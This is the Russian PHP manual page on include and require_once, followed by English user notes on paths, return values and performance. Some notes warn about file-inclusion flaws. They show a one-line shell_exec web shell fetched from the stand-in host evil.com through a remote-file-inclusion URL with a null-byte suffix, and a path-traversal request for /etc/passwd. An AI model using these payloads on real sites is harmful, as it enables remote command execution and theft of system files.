Когда файл включается, его код наследует ту же область видимости переменных, что и строка, на которой произошло включение. Все переменные, доступные на этой строке во включающем файле, будут также доступны во включаемом файле. Однако все функции и классы, объявленные во включаемом файле, имеют глобальную область видимости.

Пример #1 Простой пример include

vars.php
<?php

$color = 'зелёное';
$fruit = 'яблоко';

?>

test.php
<?php

echo "Одно $color $fruit"; // Одно

include 'vars.php';

echo "Одно $color $fruit"; // Одно зелёное яблоко

?>

Если включение происходит внутри функции включающего файла, тогда весь код, содержащийся во включаемом файле, будет вести себя так, как будто он был определён внутри этой функции. То есть, он будет в той же области видимости переменных этой функции. Исключением к этому правилу являются магические константы, которые выполняются парсером перед тем, как происходит включение.

Пример #2 Включение внутри функции

<?php

function foo()
{
global $color;

include 'vars.php';

echo "Одно $color $fruit";
}

/* vars.php в той же области видимости, что и foo(), *
* поэтому $fruit НЕ будет доступен за пределами этой области *
* $color доступен, поскольку мы объявили переменную глобальной */

foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное

?>

Когда файл включается, парсинг в режиме PHP-кода прекращается и переключается в режим HTML в начале указанного файла и продолжается снова в конце. По этой причине любой код внутри включаемого файла, который должен быть выполнен как код PHP, должен быть заключён в корректные теги начала и конца PHP-кода.

Если "обёртки URL include" включены в PHP, вы можете также указать файл для включения через URL (с помощью HTTP или других поддерживающихся обработчиков - смотрите Поддерживаемые протоколы и обёртки для списка протоколов) вместо локального пути. Если целевой сервер интерпретирует указанный файл как код PHP, переменные могут быть переданы во включаемый файл с помощью строки URL-запроса при использовании HTTP GET. Это совсем не то же самое, что включение файла и наследование родительской области видимости; скрипт выполняется на удалённом сервере, и результат затем включается в локальный скрипт.

Пример #3 Пример include через HTTP

<?php

/* В этом примере предполагается, что www.example.com настроен на обработку .php
* файлов, но не .txt. Также, 'Сработает' обозначает, что переменные
* $foo и $bar доступны внутри включаемого файла. */

// Не сработает; file.txt не обрабатывается www.example.com как PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Не сработает; будет искать файл 'file.php?foo=1&bar=2' в
// локальной файловой системе.
include 'file.php?foo=1&bar=2';

// Сработает.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Внимание

Предупреждение безопасности

Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.

Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.

Обработка возвращаемых значений: оператор include возвращает значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение 1. Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.

Так как include - это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.

Пример #4 Сравнение возвращаемого значения при include

<?php
// не сработает, интерпретируется как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}

// сработает
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>

Пример #5 Выражения include и return

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // выведет 'PHP'

$bar = include 'noreturn.php';

echo $bar; // выведет 1

?>

$bar имеет значение 1, т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается false и возникает E_WARNING.

Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.

Другой путь "включить" PHP-файл в переменную - это захватить вывод с помощью функций контроля вывода вместе с include. Например:

Пример #6 Использование буферизации вывода для включения файла PHP в строку

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}

?>

Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в php.ini.

Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.

Смотрите также require, require_once, include_once, get_included_files(), readfile(), virtual() и include_path.

User Contributed Notes

anonphpuser 23-Oct-2022 11:07
In the Example #2 Including within functions, the last two comments should be reversed I believe.
jbezorg at gmail dot com 26-Apr-2018 02:34
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
ayon at hyurl dot com 03-Apr-2017 06:24
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
John Carty 20-Oct-2016 08:29
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
error17191 at gmail dot com 01-Oct-2015 09:39
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
Jero Minh 01-Apr-2015 10:55
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set('error_reporting', E_ALL);

    echo "Own value before: ";
    echo ini_get('error_reporting');
    echo "\r\n";

    echo "include foo.php: ";
    include('foo.php');

    echo "@include foo.php: ";
    @include('foo.php');

    echo "Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
    echo ini_get('error_reporting') . "\r\n";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767
Rash 17-Jan-2015 05:55
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
Ray.Paseur often uses Gmail 30-Sep-2014 11:05
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
abanarn at gmail dot com 11-Jul-2014 02:56
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C: valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:
Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
Anon 26-Feb-2012 06:31
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
sPlayer 02-Mar-2011 09:09
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
joe dot naylor at gmail dot com 22-Oct-2010 02:11
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
Chris Bell 12-Nov-2009 05:12
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
hyponiq at gmail dot com 02-Nov-2009 02:12
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

    if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
            $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

    if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

    if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

    foreach ($directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
snowyurik at gmail dot com 05-Nov-2008 10:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Wade. 22-Oct-2008 08:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
example at user dot com 21-Sep-2008 09:33
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include '/some_image.jpg';
echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
Rick Garcia 08-May-2008 09:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
uramihsayibok, gmail, com 24-Feb-2008 05:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
mbread at m-bread dot com 10-Feb-2007 09:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
durkboek A_T hotmail D_O_T com 03-Jun-2004 04:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
james at gogo dot co dot nz 09-Dec-2003 10:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";

  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/


require_once

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение require_once аналогично require за исключением того, что PHP проверит, включался ли уже данный файл, и если да, не будет включать его ещё раз.

Смотрите документацию include_once для информации по поведению _once и чем он отличается от таких же функций, без _once.

User Contributed Notes

bobray99 at softville dot com 17-May-2022 05:52
Be careful when using include_once and require_once for files that return a value:

fiddle2.php
<?php
return "Some String";

fiddle.php
<?php
$s = require_once('fiddle2.php');
echo "\n" . $s;
$s = require_once('fiddle2.php');
echo "\n" . $s;

/* output
 Some String
1
*/

The second time require_once occurs, it returns 1 because the file has already been included.
boda0128318 at gmail dot com 08-Apr-2021 04:50
1 - "require" and "require_once"  throw a fatal error if the file is not
       existing  and stop the script execution

2 - "include" and "include_once" throw a warning and the execution
       continues

3 - "require_once" and "include_once" as their names suggests ,
      they will not include the file if the file was already included with
      "require", "require_once", "include" or "include_once"

try the following code:

create a file called "index.php"

<?php

require "first.php";  // this will include the file

include_once "first.php";  // this will not as it was included using "require"

require_once "first.php";  // this will not as it was included using "require"

?>

and another file that is called "first.php" and write the following header

-------------------------------

<h1>Hello every one</h1>

--------------------------------

i hope this will help you
Mental_Wanderer 27-Jun-2018 08:31
Friendly reminder about namespaces...
Including or requiring a PHP file that defines as namespace means that the namespace name (or its "use ... as ..." alias) is always necessary to make use of the included file's content:

// A.php

<?php namespace A_NAMESPACE;

   function foo()
   {
      // What foo does...
   }
?>

// B.php

<?php
   require_once( 'A.php' );
   use \A_NAMESPACE as common;

   common\foo(); // Does that foo thing...

   foo();  // Fatal Error...
?>
apis17 11-Nov-2017 03:29
require_once may not work correctly inside repetitive function when storing variable for example:

file: var.php
<?php
$foo = 'bar';
?>

file: check.php
<?php

function foo(){
    require_once('var.php');
    return $foo;
}

for($a=1;$a<=5;$a++){
    echo foo()."<br>";
}

> php check.php
result:
bar
<empty line>
<empty line>
<empty line>
<empty line>

to make sure variable bar available at each function call, replace require once with require. eg situation: https://stackoverflow.com/questions/29898199/variables-not-defined-inside-function-on-second-time-at-foreach

Solution:

file: check2.php
<?php

function foo(){
    require('var.php');
    return $foo;
}

for($a=1;$a<=5;$a++){
    echo foo()."<br>";
}

> php check2.php
result:
bar
bar
bar
bar
bar
powtac at gmx dot de 02-Sep-2015 01:36
"require_once" and "require" are language constructs and not functions. Therefore they should be written without "()" brackets!
inci szlk 22-May-2015 04:32
you can also use this type define to get exact path of root directory. So, it won't mess if the file is in whatever directory in whatever directory.

if (!defined("DOCUMENT_ROOT")) define("DOCUMENT_ROOT", $_SERVER['DOCUMENT_ROOT']);

require_once DOCUMENT_ROOT.'/hello/world.php';
acholoc at gmail dot com 04-Jan-2014 09:43
I think it's important (at least for beginners) to mention somewhere clearly visible that require_once, when being used in a class, cannot be outside a function. (I am aware that even this, i.e. using it within the function is bad practice). However, that information could have saved me some valuable time troubleshooting the "unexpected T_REQUIRE_ONCE" error.
bimal at sanjaal dot com 04-Jun-2011 11:46
If your code is running on multiple servers with different environments (locations from where your scripts run) the following idea may be useful to you:

a. Do not give absolute path to include files on your server.
b. Dynamically calculate the full path (absolute path)

Hints:
Use a combination of dirname(__FILE__) and subsequent calls to itself until you reach to the home of your '/index.php'. Then, attach this variable (that contains the path) to your included files.

One of my typical example is:

<?php
define('__ROOT__', dirname(dirname(__FILE__)));
require_once(__ROOT__.'/config.php');
?>

instead of:
<?php require_once('/var/www/public_html/config.php'); ?>

After this, if you copy paste your codes to another servers, it will still run, without requiring any further re-configurations.

[EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.]
spark at limao dot com dot br 14-Apr-2011 07:31
if you use require_once on a file A pointing to file B, and require_once in the file B pointing to file A, in some configurations you will get stuck

also wouldn't it be nice to manage that to prevent getting stuck AND use the good old Java import?

<?php
       function import($path=""){
               if($path == ""){ //no parameter returns the file import info tree;
                       $report = $_SESSION['imports'];
                       foreach($report as &$item) $item = array_flip($item);
                       return $report;
               }

               $current = str_replace("\\","/",getcwd())."/";
               $path = $current.str_replace(".","/",$path);
               if(substr($path,-1) != "*") $path .= ".class.php";

               $imports = &$_SESSION['imports'];
               if(!is_array($imports)) $imports = array();

               $control = &$imports[$_SERVER['SCRIPT_FILENAME']];
               if(!is_array($control)) $control = array();

               foreach(glob($path) as $file){
                       $file = str_replace($current,"",$file);
                       if(is_dir($file)) import($file.".*");
                       if(substr($file,-10) != ".class.php") continue;
                       if($control[$file]) continue;
                       $control[$file] = count($control);
                       require_once($file);
               }
       }
?>

just remember to start the session and to enable the glob function

now you can use
<?php
    import("package.ClassName");
    import("another.package.*"); //this will import everything in the folder
?>
info at erpplaza dot com 05-Oct-2010 12:10
Include all files from a particular directory

<?php
foreach (glob("classes/*.php") as $filename)
{
    include $filename;
}
?>

ERPPlaza
jason semko at gmail dot com 16-Jul-2010 01:33
If you are coding on localhost and require_once is not opening files due to 'relative paths' a simple solution is:

<?php

      require_once(dirname(__FILE__) . "/file.php");

?>

If you have file.php under the folder 'includes' (or anywhere for that matter), then folder 'public' AND folder 'public/admin' will be able to access all required files despite having different relative paths.
ivan[DOT_NO_SPAM]chepurnyi[AT]gmail 08-Sep-2009 06:42
Also if you have a large MVC framework, it make sense to compile  structure "file/path/to/class.php" to something like this "file_path_to_class.php", it will speed up any type of php files includes, becouse php interpreter will not check FS stat data for directories "file", "file/path", "file/path/to", etc.
Konstantin Rozinov (krozinov[at]gmail) 01-Apr-2009 04:58
There's been a lot of discussion about the speed differences between using require_once() vs. require().
I was curious myself, so I ran some tests to see what's faster:
 - require_once() vs require()
 - using relative_path vs absolute_path

I also included results from strace for the number of stat() system calls.  My results and conclusions below.

METHODOLOGY:
------------
The script (test.php):
<?php
 $start_time = microtime(true);

 /*
  * Uncomment one at a time and run test below.
  * sql_servers.inc only contains define() statements.
  */

 //require ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require ('../../includes/example.com/code/conf/sql_servers.inc');
 //require_once ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require_once ('../../includes/example.com/code/conf/sql_servers.inc');

 $end_time = microtime(true);

 $handle = fopen("/tmp/results", "ab+");
 fwrite($handle, ($end_time - $start_time) . "\n");
 fclose($handle);
?>

The test:
  I ran ab on the test.php script with a different require*() uncommented each time:
  ab -n 1000 -c 10 www.example.com/test.php

RESULTS:
--------
The average time it took to run test.php once:
require('absolute_path'):      0.000830569960420
require('relative_path'):      0.000829198306664
require_once('absolute_path'): 0.000832904849136
require_once('relative_path'): 0.000824960252097

The average was computed by eliminating the 100 slowest and 100 fastest times, so a total of 800 (1000 - 200) times were used to compute the average time.  This was done to eliminate any unusual spikes or dips.

The question of how many stat() system calls were made can be answered as follows:
- If you run httpd -X and then do an strace -p <pid_of_httpd>, you can view the system calls that take place to process the request.
- The most important thing to note is if you run test.php continuously (as the ab test does above), the stat() calls only happen for the first request:

  first call to test.php (above):
  -------------------------------
  lstat64 ("/www", {st_mode=S_IFDIR|0755, st_size=...
  lstat64 ("/www/includes", {st_mode=S_IFDIR|0755,...
  lstat64 ("/www/includes/example.com", {st_mode=S...
  lstat64 ("/www/includes/example.com/code", {st_m...
  lstat64 ("/www/includes/example.com/code/conf", ...
  lstat64 ("/www/includes/example.com/code/conf/sql_servers.inc", {st_mode...
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

  subsequent calls to test.php:
  -----------------------------
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

- The lack of stat() system calls in the subsequent calls to test.php only happens when test.php is called continusly.  If you wait a certain period of time (about 1 minute or so), the stat() calls will happen again.
- This indicates that either the OS (Ubuntu Linux in my case), or Apache is "caching" or knows the results of the previous stat() calls, so it doesn't bother repeating them.
- When using absolute_path there are fewer stat() system calls.
- When using relative_path there are more stat() system calls because it has to start stat()ing from the current directory back up to / and then to the include/ directory.

CONCLUSIONS:
------------
- Try to use absolute_path when calling require*().
- The time difference between require_once() vs. require() is so tiny, it's almost always insignificant in terms of performance.  The one exception is if you have a very large application that has hundreds of require*() calls.
- When using APC opcode caching, the speed difference between the two is completely irrelevant.
- Use an opcode cache, like APC!

Konstantin Rozinov
krozinov [at] gmail
amcewen at look dot ca 11-Feb-2008 07:00
Perhaps it would be clearer to say that require_once() includes AND evaluates the resulting code once.  More specifically, if there is code in the script file other than function declarations, this code will only be executed once via require_once().
manuel schaffner 14-Jun-2007 02:02
The path for nested require_once() is always evaluated relative to the called / first file containing require_once(). To make it more flexible, maintain the include_path (php.ini) or use set_include_path() - then the file will be looked up in all these locations.
jazfresh at hotmail.com 07-Mar-2007 11:22
Check how many files you are including with get_required_files(). If it's a significant number (> 100), it may be worth "compiling" the main PHP file. By "compiling", I mean write a script that reads a PHP file and replaces any "include/require_once" references with either:
- the file that it's requiring
- a blank line if that file has been included before

This function can be recursive, thus building up a large PHP file with no require_once references at all. The speedup can be dramatic. On one of our pages that included 115 classes, the page was sped up by 60%.
sneskid at hotmail dot com 19-Jan-2007 12:00
<?php
function & rel($r, &$f) {return file_exists( ( $f = ( dirname($r).'/'.$f ) ) );}
function & relf($r, $f) {return rel($r,$f) ? file_get_contents($f) : null;}
function & reli($r, $f) {return rel($r,$f) ? include($f) : null;}
function & relr($r, $f) {return rel($r,$f) ? require($f) : null;}
function & relio($r, $f) {return rel($r,$f) ? include_once($f) : null;}
function & relro($r, $f) {return rel($r,$f) ? require_once($f) : null;}
?>

I found it useful to have a function that can load a file relative to the calling script and return null if the file did not exist, without raising errors.

<?php
/*
Load file contents or return blank if it's not there.
Relative to the file calling the function.
*/
echo relf(__FILE__, 'some.file');
?>

It was easy to modify and just as useful for require/include.

<?php
/*
Require the file once.
It's like suppressing error messages with @ but only when the file does not exist.
Still shows compile errors/warning, unless you use @relro().
Relative to the file calling the function.
*/
relro(__FILE__, 'stats.php');
?>

If you work with a deep php file structure and a barrage of includes/requires/file-loads this works well.
rejjn at mail dot nu 01-Sep-2006 02:28
The following only applies to case insensitive systems like Windows.

Even though the documentation sais that "the path is normalized" that doesn't seem to be true in all cases.

If you are using the magic __autoload() function (or if the framework you're using is using it) and it includes the requested class file with complete path or if you override the include path in mid execution, you may have some very strange behavior. The most subtle problem is that the *_once functions seem to differentiate between c:\.... and C:\....

So to avoid any strange problems and painfull debugging make sure ALL paths you use within the system have the same case everywhere, and that they correspond with the actual case of the filesystem. That includes include paths set in webserver config/php.ini, auto load config, runtime include path settings or anywhere else.
antoine dot pouch at mcgill dot ca 10-Mar-2006 07:13
require_once (and include_once for that matters) is slow.
